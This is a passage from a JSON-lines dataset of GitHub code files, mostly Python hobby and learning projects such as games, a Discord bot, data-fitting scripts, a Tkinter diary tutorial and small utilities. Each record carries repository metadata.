cases['⬅'] + cases['⏺'] + cases['➡'] + \"\\n\" + \\\n cases['↙'] + cases['⬇'] + cases['↘']\n return result\n\n\nasync def update_print(infos, message, cases):\n await infos.client.edit_message(\n message,\n new_content=get_printable(cases)\n )\n\n\ndef win(cases):\n list_cases = [\n cases['↖'], cases['⬆'], cases['↗'],\n cases['⬅'], cases['⏺'], cases['➡'],\n cases['↙'], cases['⬇'], cases['↘']\n ]\n for i in range(3):\n if list_cases[i] == list_cases[i + 3] == list_cases[i + 6] != '⬜':\n return list_cases[i]\n\n for i in range(0, 8, 3):\n if list_cases[i] == list_cases[i + 1] == list_cases[i + 2] != '⬜':\n return list_cases[i]\n\n if list_cases[0] == list_cases[4] == list_cases[8] != '⬜':\n return list_cases[0]\n\n elif list_cases[2] == list_cases[4] == list_cases[6] != '⬜':\n return list_cases[2]\n\n return 'N'\n\n\nasync def end(infos, winner, message, inactivity=None):\n players = player_dict[infos.message.channel.id]\n if winner == 'N':\n result = infos.text_data[\"game.tie\"]\n elif winner == '❌':\n result = infos.text_data[\"game.winner\"].format(member=players[0].mention)\n else:\n result = infos.text_data[\"game.winner\"].format(member=players[1].mention)\n if inactivity is not None:\n result = \"{} {}\".format(\n inactivity,\n result\n )\n if infos.manage_messages:\n await infos.client.clear_reactions(message)\n await infos.client.edit_message(\n message,\n new_content=result\n )\n del player_dict[infos.message.channel.id]\n\n\nasync def game(infos, message_cases, message_turn, players, cases, reactions):\n for i in range(9):\n turn = i % 2 # 0: player 1, 1: player 2\n\n symbol = '❌'\n if turn == 1:\n symbol = \"⭕\"\n\n res = await infos.client.wait_for_reaction(\n reactions,\n message=message_turn,\n user=players[turn],\n timeout=120\n )\n if res is None:\n winner = \"⭕\"\n if turn == 1:\n winner = '❌'\n await end(\n infos,\n winner,\n message_turn,\n inactivity=infos.text_data[\"game.tic-tac-toe.inactivity.cancel\"]\n )\n return\n\n react = res.reaction.emoji\n cases[react] = symbol\n reactions.remove(react)\n\n await update_print(\n infos,\n message_cases,\n cases\n )\n if len(reactions) == 0 or not win(cases) == 'N':\n await end(\n infos,\n win(cases),\n message_turn\n )\n return\n else:\n await infos.client.edit_message(\n message_turn,\n new_content=infos.text_data[\"game.player.turn\"].format(\n member=players[\n 1 - turn\n ].mention\n )\n )\n users = await infos.client.get_reaction_users(\n res.reaction,\n limit=50\n )\n if infos.manage_messages:\n for u in users:\n await infos.client.remove_reaction(\n message_turn,\n react,\n u\n )\n\n\nasync def start(infos):\n cases = {'↖': '⬜', '⬆': '⬜', '↗': '⬜', '⬅': '⬜', '⏺': '⬜', '➡': '⬜', '↙': '⬜', '⬇': '⬜', '↘': '⬜'}\n reactions = ['↖', '⬆', '↗', '⬅', '⏺', '➡', '↙', '⬇', '↘']\n players = player_dict[infos.message.channel.id]\n\n print_cases = get_printable(cases)\n print_turn = infos.text_data[\"game.player.turn\"].format(member=players[0].mention)\n\n message_case = await infos.client.send_message(\n infos.message.channel,\n print_cases\n )\n message_turn = await infos.client.send_message(\n infos.message.channel,\n print_turn\n )\n\n for r in reactions:\n await infos.client.add_reaction(\n message_turn,\n r\n )\n await game(\n infos,\n message_case,\n message_turn,\n players,\n cases,\n reactions\n )\n\n\nasync def entry(infos):\n channel_id = infos.message.channel.id\n author = infos.message.author\n\n if channel_id not in player_dict:\n player_dict[channel_id] = [author]\n\n embed = Embed(title=infos.text_data[\"game.tic-tac-toe.name\"],\n description=\"\",\n color=0xD828D0)\n embed.add_field(name=infos.text_data[\"game.creator\"],\n value=infos.message.author.mention,\n inline=False)\n embed.set_footer(text=infos.text_data[\"game.tic-tac-toe.entry.footer\"])\n\n message = await infos.client.send_message(\n infos.message.channel,\n embed=embed\n )\n\n second_player = await wait_for_player(infos, message)\n\n if second_player is not None:\n await infos.client.delete_message(\n message\n )\n player_dict[channel_id].append(\n second_player\n )\n await infos.client.send_message(\n infos.message.channel,\n player_dict[channel_id][0].mention + \" : ❌\\n\" + player_dict[channel_id][1].mention + \" : ⭕\"\n )\n await start(infos)\n else:\n await infos.client.send_message(\n infos.message.channel,\n infos.text_data[\"game.tic-tac-toe.inactivity.cancel\"]\n )\n del player_dict[infos.message.channel.id]\n else:\n await infos.client.send_message(\n infos.message.channel,\n infos.text_data[\"game.tic-tac-toe.error.already_launched\"]\n )\n","repo_name":"Esdia/Yuuna.old","sub_path":"src/modules/game/tic_tac_toe.py","file_name":"tic_tac_toe.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38272161283","text":"from dataclasses import dataclass\nfrom Hero_class.Hero import HeroStats\nimport random\nfrom Inventory import InventoryPlayer\n\n\n@dataclass\nclass AssassinStat(HeroStats):\n skill_list = []\n\n def __init__(self, name=None, atk=25, hp=80, mana=70, speed=45, xp=0, level=1, skill_list=None,\n money=0, inventory=None):\n print(inventory)\n super().__init__(name, xp, level)\n if skill_list is None:\n skill_list = []\n if inventory is None:\n inventory = InventoryPlayer.InventoryPlayer()\n self.skill_list = skill_list\n self.inventory = inventory\n self.class_name = \"assassin\"\n self.atk = atk\n self.hp = hp\n self.mana = mana\n self.speed = speed\n self.critical = 30\n self.dodge = 30\n self.skill_list = skill_list\n self.atk_boost = self.atk\n self.money = money\n\n def dmg_done(self):\n stun = False\n rand = (random.randrange(40) - 20)\n dmg = int((self.atk_boost * rand / 100) + self.atk_boost)\n if not stun:\n randNumber = random.randrange(100)\n crit = randNumber\n crit = int(crit)\n if crit <= self.critical:\n damageDone = int(dmg * 2)\n print(\"You made a critical attack !!\")\n return damageDone\n else:\n return dmg\n else:\n print(self.name + \" is stunned ! He can't do any damage\")\n self.stun = False\n return 0\n\n def dmg_taken(self, dmg):\n damagetaken = dmg\n randNumber = random.randrange(100)\n dodge = randNumber\n if dodge < self.dodge:\n damagetaken = 0\n print(\"You dodged the attack !!\")\n return damagetaken\n return dmg\n\n def showStat(self):\n print(f\"name : {self.name} / atk : {self.atk} / hp : {self.hp} / mana : {self.mana} / speed : {self.speed} / \"\n f\"crit rate : {self.crit} / dodge rate : {self.dodge}\")\n","repo_name":"Celiian/Rpg_v1","sub_path":"Hero_class/Assasin.py","file_name":"Assasin.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21672550568","text":"from Merge import Merge\r\nimport difflib, copy\r\n\r\ndef Process(merge : Merge) -> Merge:\r\n\r\n if merge.actual.strip() == \"\": return\r\n\r\n def score(a,b):\r\n return difflib.SequenceMatcher(None,a,b).ratio()\r\n\r\n m = copy.copy(merge)\r\n\r\n origScoreAE = score(m.actual, m.expected)\r\n origScoreAN = score(m.actual, m.new)\r\n \r\n lineMax = max(m.expected.count(\"\\n\"),\r\n m.new.count(\"\\n\"),\r\n m.suffix.count(\"\\n\"))\r\n lineMax = min(lineMax, 20) # Realistic limit.\r\n\r\n maxScore = max(origScoreAE, origScoreAN)\r\n maxLines = None\r\n\r\n lines = m.suffix.splitlines();\r\n\r\n for lineCount in range(0, lineMax):\r\n newActual = m.actual + \"\\n\".join(lines[0:lineCount + 1])\r\n newSuffix = \"\\n\".join(lines[lineCount + 1:])\r\n\r\n scoreAE = score(newActual, m.expected)\r\n scoreAN = score(newActual, m.new)\r\n\r\n if (scoreAE > maxScore or scoreAN > maxScore):\r\n maxScore = max(scoreAE, scoreAN)\r\n maxLines = lineCount\r\n\r\n if lineCount == 10 and maxLines is None:\r\n # Early exit on big diffs that aren't going anywhere after\r\n # a few lines\r\n return None\r\n\r\n if maxLines is not None and maxScore > 0.6:\r\n # We've improved the score by lengthening actual and shrinking suffix\r\n\r\n m = copy.copy(merge)\r\n newActual = m.actual + \"\\n\".join(lines[0:maxLines + 1])\r\n newSuffix = \"\\n\".join(lines[maxLines + 1:])\r\n\r\n m.actual = newActual\r\n m.suffix = newSuffix\r\n\r\n return m\r\n\r\n return None\r\n","repo_name":"ashleyharris-maptek-com-au/automerge","sub_path":"AutoMergeV1/MergeSimplifiers/IncorrectScoping.py","file_name":"IncorrectScoping.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1279813819","text":"import pandas as pd\nimport numpy as np\n\ndf = pd.read_fwf(\n 'mass16.txt',\n usecols=(2, 3, 11),\n names=tuple('NZE'),\n widths=(1,3,5,5,5,1,3,4,1,13,11,11,9,1,2,11,9,1,3,1,12,11,1),\n header=39, index_col=False\n)\n\ndf_dict = lambda tag: {(d.N, d.Z): d[tag] for i, d in df.iterrows()}\n\n# drop predicted values and convert to MeV\ndf['E_exp'] = pd.to_numeric(df.E, errors='coerce')\ndf['E_known'] = 1 - pd.isnull(df.E_exp)\ndf['E'] = pd.to_numeric(df.E.str.replace('#',''))\n\n# The following constants were obtained from J.W. Rohlf.\n# All except the last constant are keV.\nDEFAULT_CONSTS = np.array([\n 15750, 17800, 711,\n 23700, 11180.01])\n\ndef binding(consts):\n aV, aS, aC, aA, aP = consts\n def func(N, Z):\n A = Z + N\n sgn = 0 if A % 2 else (-1 if Z % 2 else +1)\n return ( aV - aS / A**(1/3)\n - aC * Z**2 / A**(4/3)\n - aA * (N-Z)**2/A**2\n + aP * sgn/A**1.5) \n return np.vectorize(func)\n\n# as obtained through the optimisation below\nCONSTS = np.array([\n 15123.31226824,\n 15791.00504405,\n 671.88325277,\n 21733.36561414,\n 10672.59798895\n])\n\nbinding_per_nucleon = binding(CONSTS)\n\nA = df.N + df.Z\n# Reduce weight of error for small nuclei with linear cutoff\nclamp = np.vectorize(lambda x: 0 if x < 0 else 1 if x > 1 else x)\nQ = 5\nweights = clamp((A-Q)/Q)\n\ndef optimise():\n from scipy.optimize import least_squares\n return least_squares(\n lambda param: weights * (df.E - binding(param)(df.N, df.Z) ),\n DEFAULT_CONSTS,\n verbose=1,\n loss=\"soft_l1\")\n\nif __name__ == '__main__':\n print(optimise())\n","repo_name":"yunruse/binding-energy","sub_path":"drop_data.py","file_name":"drop_data.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"7462561010","text":"import pygame\n\nclass Character(pygame.sprite.Sprite):\n def __init__(self, image, pos):\n pygame.sprite.Sprite.__init__(self)\n self.image = image\n self.rect = self.image.get_rect()\n self.rect.center = pos\n\n\nclass Hero(Character):\n pass\n\nclass Monster(Character):\n pass\n\ndef main():\n width = 1280\n height = 738\n blue_color = (97, 159, 182)\n \n pygame.mixer.init()\n sound = pygame.mixer.Sound('sounds/cell_theme.wav')\n\n pygame.init()\n screen = pygame.display.set_mode((width, height))\n pygame.display.set_caption('DBZ')\n\n background_image = pygame.image.load('images/dbz_background.png').convert_alpha()\n hero_image = pygame.image.load('images/dbz_img/cellj2.png').convert_alpha()\n monster_image = pygame.image.load('images/dbz_img/cellj1.png').convert_alpha()\n\n #our hero\n player = Hero(hero_image, [400,250])\n monster = Monster(monster_image, [950,250])\n\n player_group = pygame.sprite.Group()\n player_group.add(player)\n\n monster_group = pygame.sprite.Group()\n monster_group.add(monster)\n\n # Game initialization\n \n sound.play()\n stop_game = False\n while not stop_game:\n for event in pygame.event.get():\n \n \n\n # Event handling\n\n if event.type == pygame.QUIT:\n stop_game = True\n\n\n # Game logic\n\n # Draw background\n screen.blit(background_image, [0,0])\n\n player_group.draw(screen)\n monster_group.draw(screen)\n # Game display\n\n pygame.display.update()\n\n pygame.quit()\n\nif __name__ == '__main__':\n main()\n","repo_name":"av308q/final_dbz_project","sub_path":"dbz.py","file_name":"dbz.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74392804567","text":"class TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\nclass Solution:\n def huffmanDecode(self, root, arr):\n \n dummy = TreeNode(-1)\n dummy = root\n str = \"\"\n for i in range(len(arr)):\n if arr[i] == 0:\n dummy = dummy.left\n else:\n dummy = dummy.right\n\n if dummy and dummy.left is None and dummy.right is None:\n str += dummy.val\n dummy = root\n\n return str\n\nroot = TreeNode(\"\")\ndummy1 = TreeNode(\".\")\ndummy2 = TreeNode(\".\")\na = TreeNode(\"A\")\nb = TreeNode(\"B\")\nc = TreeNode(\"C\")\nd = TreeNode(\"D\")\n\nroot.left = dummy1\nroot.right = dummy2\ndummy1.left = a\ndummy1.right = b\ndummy2.left = c\ndummy2.right = d\n\nsol = Solution()\nsol.huffmanDecode(root, [0, 0, 0, 1, 1, 0, 1, 1])\n","repo_name":"cankutergen/AmazonQuestions","sub_path":"HuffmanDecode.py","file_name":"HuffmanDecode.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16090346052","text":"import numpy as np\n\ndef measure_curvature_real(leftx, rightx, ploty):\n '''\n Calculates the curvature of polynomial functions in meters.\n '''\n # Define conversions in x and y from pixels space to meters\n ym_per_pix = 30 / 720 # meters per pixel in y dimension\n xm_per_pix = 3.7 / 700 # meters per pixel in x dimension\n\n # Start by generating our fake example data\n # Make sure to feed in your real data instead in your project!\n\n # Define y-value where we want radius of curvature\n # We'll choose the maximum y-value, corresponding to the bottom of the image\n y_eval = np.max(ploty)\n\n left_fit_cr = np.polyfit(ploty * ym_per_pix, leftx * xm_per_pix, 2)\n right_fit_cr = np.polyfit(ploty * ym_per_pix, rightx * xm_per_pix, 2)\n\n #Implement the calculation of R_curve (radius of curvature) #\n left_curverad = ((1+(2*left_fit_cr[0]*y_eval*ym_per_pix+left_fit_cr[1])**2)**(3/2))/np.abs(2*left_fit_cr[0]) ## Implement the calculation of the left line here\n right_curverad = ((1+(2*right_fit_cr[0]*y_eval*ym_per_pix+right_fit_cr[1])**2)**(3/2))/np.abs(2*right_fit_cr[0]) ## Implement the calculation of the right line here\n\n return left_curverad, right_curverad","repo_name":"jorgemorenop/P02-CarND-AdvancedLaneLines","sub_path":"src/curvature.py","file_name":"curvature.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34107253024","text":"class Heap:\n def __init__(self, array):\n self.N = 0\n self.heap = self.buildHeap(array)\n \n def buildHeap(self, array):\n for i in range(len(array)):\n self.swim(array , i)\n self.N += 1\n return array \n \n def swim(self, array, pos):\n temp = array[pos]\n while pos > 0 and float(temp[-1]) < float(array[(pos-1)//2][-1]):\n array[pos] = array[(pos-1)//2]\n pos = (pos-1)//2 \n array[pos] = temp\n \n def sink(self, pos):\n j = (2 * pos) + 1\n end_pos = len(self.heap)\n while j < end_pos:\n if j < end_pos-1 and float(self.heap[j+1][-1]) < float(self.heap[j][-1]):\n j +=1 \n if float(self.heap[pos][-1]) > float(self.heap[j][-1]):\n self.heap[pos], self.heap[j] = self.heap[j], self.heap[pos]\n pos = j \n j = (2 * pos) + 1\n else:\n break \n\n def isEmpty(self):\n return self.N == 0\n \n def size(self):\n return self.N\n \n def remove_top_priority(self):\n lastit = self.heap.pop()\n self.N -= 1 \n if self.heap:\n returnitem = self.heap[0]\n self.heap[0] = lastit\n self.sink(0)\n return returnitem\n return lastit \n \n def insert(self, value):\n self.heap.append(value)\n self.swim(self.heap, len(self.heap)-1)\n self.N += 1 \n\nif __name__ ==\"__main__\":\n import sys\n import os \n batch = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'tinyBatch.txt')\n # M = sys.argv[1]\n with open(batch, 'r') as f:\n content =f.readlines()\n current_value = content[0]\n data =current_value.split()\n array = []\n array.append(data)\n pq = Heap(array)\n for values in content[1:]:\n x =values.split()\n\n pq.insert(x)\n if pq.size() > 5:\n pq.remove_top_priority()\n\n # Put all the elements in our stack\n stk = []\n while not pq.isEmpty():\n stk.append(pq.remove_top_priority())\n \n for i in reversed(range(len(stk))):\n print(f\"{stk[i][0].ljust(10)} {stk[i][1]} {stk[i][2].rjust(10)}\")\n","repo_name":"acemodou/Working-Copy","sub_path":"DataStructures/v1/Heaps/topM.py","file_name":"topM.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28400143730","text":"# coding: utf-8\n# Python 中级课程\n\n\n\n\n# Lesson 4\n'''\n我们以往的课程都是在终端里运行显示结果,是不是太过枯燥了\n这节课斌叔教你如何编写一个桌面小程序\n也就是开始时提到的 GUI 编程,它是图形用户界面的简称(Graphical User Interface)\nPython 中有 Tkinter、wxPython 等图形界面开发的库,本课程以 Tkinter 为例讲解\n\n运行看一下\n我们发现了一个小火箭图标和一个空白的窗口,这个就是我们刚刚生成的小程序\n现在我们来给它丰富一下界面\n\n这个窗口实在是太小了,我们给它变大一点\n下面看看如何自定义它的标题\n下面我们来试着添加一个按钮(Button)和一个标签(Label)\n\n很简单吧,\nbtn = Button(root, text='这是一个按钮'),代表创建了一个按钮,btn.pack() 表示把 btn 放在主窗口上,pack 是一种布局方式\nLabel 可以通过 config 的方法来设置文字,自己试试吧!\n\n还记得第一节中讲过我们要做一个日记本小程序么,我们来看下最终实现的效果,然后看看需要怎么来设置\n程序运行后,会在当前目录下生成一个 diary 文件夹,用于存储日记\n点击写日记,会出现两个文本框,一个用来写标题,一个写内容,点击看日记,会出现一个列表来显示当前的日记\n\n我们先把按钮按照位置写好\nsaveBtn.pack(side=LEFT, anchor='sw') 表示把按钮设置在左下\n其中 side 有4个值,TOP、BOTTOM、LEFT、RIGHT,默认为 TOP\nanchor 是对齐方式,sw 即 southwest(西南)的,也就是左下,以此类推,一共有9个值 n、s、w、e、nw、sw、se、ne、center,默认��� center\n\n先看写日记时,需要用到 Entry 和 Text,Entry 是一个简单的输入控件,Text 用来显示多行文本\nStringVar 是一个字符串变量类型,textvariable 表示文本框中的值,写 textvariable=textVar 是为了方便我们后期对标题的一些操作\n\n再来看看日记时,需要显示一个列表,这就要用到 ListBox\n比起其他的控件多了一步,不过也是很简单的,默认的列表高度太小了,所以用 height=300 设置了一下高度\n但这时列表是空的,我们需要有个数据源,变量,向列表中插入数据,看一下效果,自己写着试试\n\n关于 Tkinter 的使用,还有很多组件这里没有用到,感兴趣的童鞋可以搜索学习下,我们下节课来把这个日记本的功能完善好\n\n'''\n\n\n'''\nfrom Tkinter import * # 导入 Tkinter 库\n\nroot = Tk() \t\t\t# 创建窗口\nroot.geometry('500x400')\nroot.title(\"Custom headers. User-defined.\") #Define its title.\n\nbtn = Button(root, text=\"This is a buttom.\") #这是一个按钮\nbtn.pack()\n\nlabel = Label(root)\nlabel.pack()\nlabel.config(text=\"This is a demo.\") #这是一个演示程序\n\nroot.mainloop() \t\t# 开始事件循环\n'''\n\n\nfrom Tkinter import *\n\nroot = Tk()\nroot.geometry(\"500x400\")\nroot.title(\"程序媛日记本\")\n\nsaveBtn = Button(root, text=\"保存\")\nsaveBtn.pack(side=LEFT, anchor='sw')\n\nquitBtn = Button(root, text=\"退出\")\nquitBtn.pack(side=RIGHT, anchor='se')\n\nwriteBtn = Button(root, text=\"写日记\")\nwriteBtn.pack(side=BOTTOM)\n\nreadBtn = Button(root, text=\"看日记\")\nreadBtn.pack(side=BOTTOM)\n\nlabel = Label(root)\nlabel.pack()\nlabel.config(text=\"这是一个演示程序\")\n\ntextVar = StringVar()\nentry = Entry(root, textvariable=textVar)\nentry.pack()\n\ntext = Text(root)\ntext.pack()\n\nlistBox = Listbox(root, height=300)\nlistBox.pack()\n# 设置一个数据源\nmylist = [\"apple\", \"orange\", \"milk\", \"water\"] #list\nfor item in mylist:\n\tlistBox.insert(0, item)\n#listBox.pack()\n\nroot.mainloop()\n\n\n\n# ??????????\n\n\n\n\n","repo_name":"JaneHappy/Project","sub_path":"Tutorials2/python_medium4.py","file_name":"python_medium4.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10135525154","text":"import json\r\nimport os\r\n\r\nfrom game_objects.game_object import GameObject\r\n\r\n\r\nclass ScoreTracker(GameObject):\r\n \"\"\"\r\n Keeps track of score and everything score-related\r\n \"\"\"\r\n def __init__(self, game):\r\n super().__init__(game)\r\n self._high_score = 0\r\n # if file doesn't exist, create and then initialize\r\n if not os.path.exists('high_score.json'):\r\n self.high_score_to_json()\r\n self._json_to_high_score() # get high score from json file\r\n self._score = 0\r\n self._game_over_scale = .7\r\n\r\n def draw(self):\r\n # renders the score and the high score (if game over) onto the screen\r\n num_size = self.get_size(self._sprite_sheet.two)\r\n one_size = self.get_size(self._sprite_sheet.one)\r\n score_pos, high_score_pos = self._draw_pos(one_size, num_size)\r\n\r\n for j, strng in enumerate([str(self._score), str(self._high_score)]):\r\n pos = score_pos if j == 0 else high_score_pos\r\n for i, char in enumerate(strng):\r\n size = num_size[0] if char is not '1' else one_size[0]\r\n score_img = self.num_strng_to_num_sprite(char)\r\n\r\n if self._game.is_over():\r\n size *= self._game_over_scale\r\n score_img = self.resize_img(score_img, self._game_over_scale)\r\n self._game.get_screen().blit(score_img, (pos.x, pos.y))\r\n pos.x += size\r\n\r\n def _draw_pos(self, one_size, num_size):\r\n # determines the appropriate location of high score and score\r\n background_size = self.get_size(self._sprite_sheet.day_background)\r\n score_box_size = self.get_size(self._sprite_sheet.score_box)\r\n score_pos = self.vec(background_size[0] // 2 -\r\n ((num_size[0] * (len(str(self._score)) - str(self._score).count('1')) +\r\n (one_size[0] * str(self._score).count('1'))) // 2), background_size[1] // 8)\r\n high_score_pos = self.vec(-100, -100)\r\n\r\n # determines the high score location on the screen only if game over\r\n if self._game.is_over():\r\n score_pos.x = background_size[0] // 2 + score_box_size[0] // 2.7 - \\\r\n ((num_size[0] * (len(str(self._score)) - str(self._score).count('1')) +\r\n (one_size[0] * str(self._score).count('1'))) // 2)\r\n score_pos.y = background_size[1] // 2 - score_box_size[1] // 4.2\r\n high_score_pos = self.vec(background_size[0] // 2 + score_box_size[0] // 2.7 -\r\n ((num_size[0] * (len(str(self._score)) - str(self._score).count('1')) +\r\n (one_size[0] * str(self._score).count('1'))) // 2),background_size[1] // 2 + score_box_size[1] // 7)\r\n return score_pos, high_score_pos\r\n\r\n def update(self):\r\n # checks if the bird has fully entered either of the rendered pipes and if so, score increases by one for each pipe\r\n bird_hit_box_x = self._game.get_collision_detection().get_bird_hit_box_pos().x\r\n pipe1_x = self._game.get_pipe().get_pos_lists()[0][0].x\r\n pipe2_x = self._game.get_pipe().get_pos_lists()[0][1].x\r\n if (bird_hit_box_x > pipe1_x and bird_hit_box_x < pipe1_x + 3) or (bird_hit_box_x > pipe2_x and bird_hit_box_x < pipe2_x + 3):\r\n self._score += 1\r\n if self._score > self._high_score:\r\n self._high_score = self._score\r\n\r\n def reset(self):\r\n self._score = 0\r\n\r\n def num_strng_to_num_sprite(self, num_strng):\r\n # use a dict to act like a switch statement to select the number sprite that corresponds to a number string\r\n switcher = {\r\n '0': self._sprite_sheet.zero,\r\n '1': self._sprite_sheet.one,\r\n '2': self._sprite_sheet.two,\r\n '3': self._sprite_sheet.three,\r\n '4': self._sprite_sheet.four,\r\n '5': self._sprite_sheet.five,\r\n '6': self._sprite_sheet.six,\r\n '7': self._sprite_sheet.seven,\r\n '8': self._sprite_sheet.eight,\r\n '9': self._sprite_sheet.nine\r\n }\r\n return switcher[num_strng]\r\n\r\n def high_score_to_json(self):\r\n with open('high_score.json', 'w') as write_file:\r\n json.dump(self._high_score, write_file)\r\n\r\n def _json_to_high_score(self):\r\n with open('high_score.json', 'r') as read_file:\r\n self._high_score = json.load(read_file)\r\n\r\n def get_score(self):\r\n return self._score","repo_name":"abadhikari/Flappy-Bird-Non-AI","sub_path":"misc/score_tracker.py","file_name":"score_tracker.py","file_ext":"py","file_size_in_byte":4562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"46061831004","text":"from .base import *\n\nDEBUG = False\n\nDATABASES = {\n 'default': {\n 'ENGINE': DB_DETAILS,\n 'NAME': DB_NAME,\n 'USER': DB_USER,\n 'PASSWORD': DB_PASSWORD,\n 'HOST': 'localhost',\n 'PORT': '',\n }\n}\n\n#Security settings\nCSRF_COOKIE_SECURE = True\nCSRF_COOKIE_HTTPONLY = True\n\nSECURE_HSTS_SECONDS = 60 * 60 * 24 * 7 * 52 # one year\nSECURE_HSTS_INCLUDE_SUBDOMAINS = True\nSECURE_SSL_REDIRECT = False #change this when ready to deploy, to access the site over https you need to run the site through a server\nSECURE_BROWSER_XSS_FILTER = True\nSECURE_CONTENT_TYPE_NOSNIFF = True\nSECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", \"https\")\n\nSESSION_COOKIE_SECURE = True\n\n\n","repo_name":"Julio-M/rate-my-bootcamp","sub_path":"server/backend/settings/production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4362820133","text":"# -*- coding: utf-8 -*-\nfrom .decreasing import decreasing\nfrom .increasing import increasing\nfrom pandas_ta.utils import get_offset, verify_series\n\n\ndef long_run(fast, slow, length=None, offset=None, **kwargs):\n \"\"\"Indicator: Long Run\"\"\"\n # Validate Arguments\n length = int(length) if length and length > 0 else 2\n fast = verify_series(fast, length)\n slow = verify_series(slow, length)\n offset = get_offset(offset)\n\n if fast is None or slow is None: return\n\n # Calculate Result\n pb = increasing(fast, length) & decreasing(slow, length) # potential bottom or bottom\n bi = increasing(fast, length) & increasing(slow, length) # fast and slow are increasing\n long_run = pb | bi\n\n # Offset\n if offset != 0:\n long_run = long_run.shift(offset)\n\n # Handle fills\n if \"fillna\" in kwargs:\n long_run.fillna(kwargs[\"fillna\"], inplace=True)\n if \"fill_method\" in kwargs:\n long_run.fillna(method=kwargs[\"fill_method\"], inplace=True)\n\n # Name and Categorize it\n long_run.name = f\"LR_{length}\"\n long_run.category = \"trend\"\n\n return long_run\n","repo_name":"twopirllc/pandas-ta","sub_path":"pandas_ta/trend/long_run.py","file_name":"long_run.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":4180,"dataset":"github-code","pt":"31"} +{"seq_id":"18281969576","text":"import re\n\ndef solve(s):\n results = []\n strs = list(filter(None, re.compile(\"[aeiou]\").split(s)))\n for char in strs:\n if len(char) > 1:\n sum = 0\n for c in char:\n sum += ord(c) - 96\n results.append(sum)\n else:\n results.append(ord(char) - 96)\n \n return max(results)\n \nsolve(\"zodiacs\")","repo_name":"rojasleon/codewars","sub_path":"6-kyu/Consonant value/consonant-value.py","file_name":"consonant-value.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"8816978787","text":"from raspi.io_states.e_ink_state import EInkState\ntry:\n from papirus import PapirusComposite\n eink_present = True\nexcept ImportError:\n eink_present = False\n\n\nclass EInkController:\n\n def __init__(self, rotation=0):\n\n if eink_present:\n # Initialize the screen such that it does not update until WriteAll() is called\n self.rotation = rotation\n\n self.state = EInkState()\n\n def set_image(self, path, width=264, height=176, xpos=0, ypos=0):\n \"\"\"\n Sets the image to display on the screen.\n :param file_path: the path to the image (relative to the raspi directory)\n :param width: the width of the image (in pixels) - defaults to full width\n :param height: the height of the image (in pixels) - defaults to full height\n :param xpos: the x-offset for the top-left corner of the image\n :param ypos: the y-offset for the top-left corner of the image\n \"\"\"\n self.state.set_image(path, width, height, xpos, ypos)\n self.update_display()\n\n def set_text(self, text, xpos=0, ypos=0):\n \"\"\"\n Sets the text to display on the screen. Use newlines (\\n) to break into multiple lines.\n :param text: the text to display\n :param xpos: the x-offset for the top-left corner of the text\n :param ypos: the y-offset for the top-left corner of the text\n \"\"\"\n self.state.set_text(text, xpos, ypos)\n self.update_display()\n\n def update_state(self, new_state, full_refresh=True):\n self.state = new_state\n\n def update_display(self):\n \"\"\"\n Writes the image and text (if any) stored in the state to the display.\n \"\"\"\n\n # Get the set text and image (if any)\n img, img_width, img_height, img_xpos, img_ypos = self.state.get_image()\n text, text_xpos, text_ypos = self.state.get_text()\n\n if eink_present: # There is an e-ink display connected\n screen = PapirusComposite(False, self.rotation)\n if img: # There is an image to display\n screen.AddImg(img, img_xpos, img_ypos, (img_width, img_height))\n\n if text:\n screen.AddText(text, text_xpos, text_ypos, size=16)\n\n # Write the updates to the display\n screen.WriteAll()\n\n else: # There is no e-ink display connected, so just print to the console\n if img:\n print('Displaying image: {}'.format(img))\n\n if text: # There is text to display\n print('Displaying text: {}'.format(text))\n\n def clear(self):\n self.state = EInkState()\n","repo_name":"kylecombes/bocs","sub_path":"raspi/e_ink_controller.py","file_name":"e_ink_controller.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"72496313369","text":"import unittest\nimport makefileparser\n\n\nclass TestMakefileParser(unittest.TestCase):\n\n def setUp(self):\n self.makefile_path = 'makefile'\n self.project_path = '.'\n self.false_makefile_path = './saoduifojasdf/makefile'\n self.parser = makefileparser.MakefileParser()\n\n def test_parse_file_none(self):\n self.assertEqual(self.parser.parse_file(self.false_makefile_path,\n self.project_path), None)\n\n def test_parse_file_ok(self):\n self.assertIsNot(self.parser.parse_file(self.makefile_path,\n self.project_path),\n None)\n\n\nif __name__ == '__main__':\n 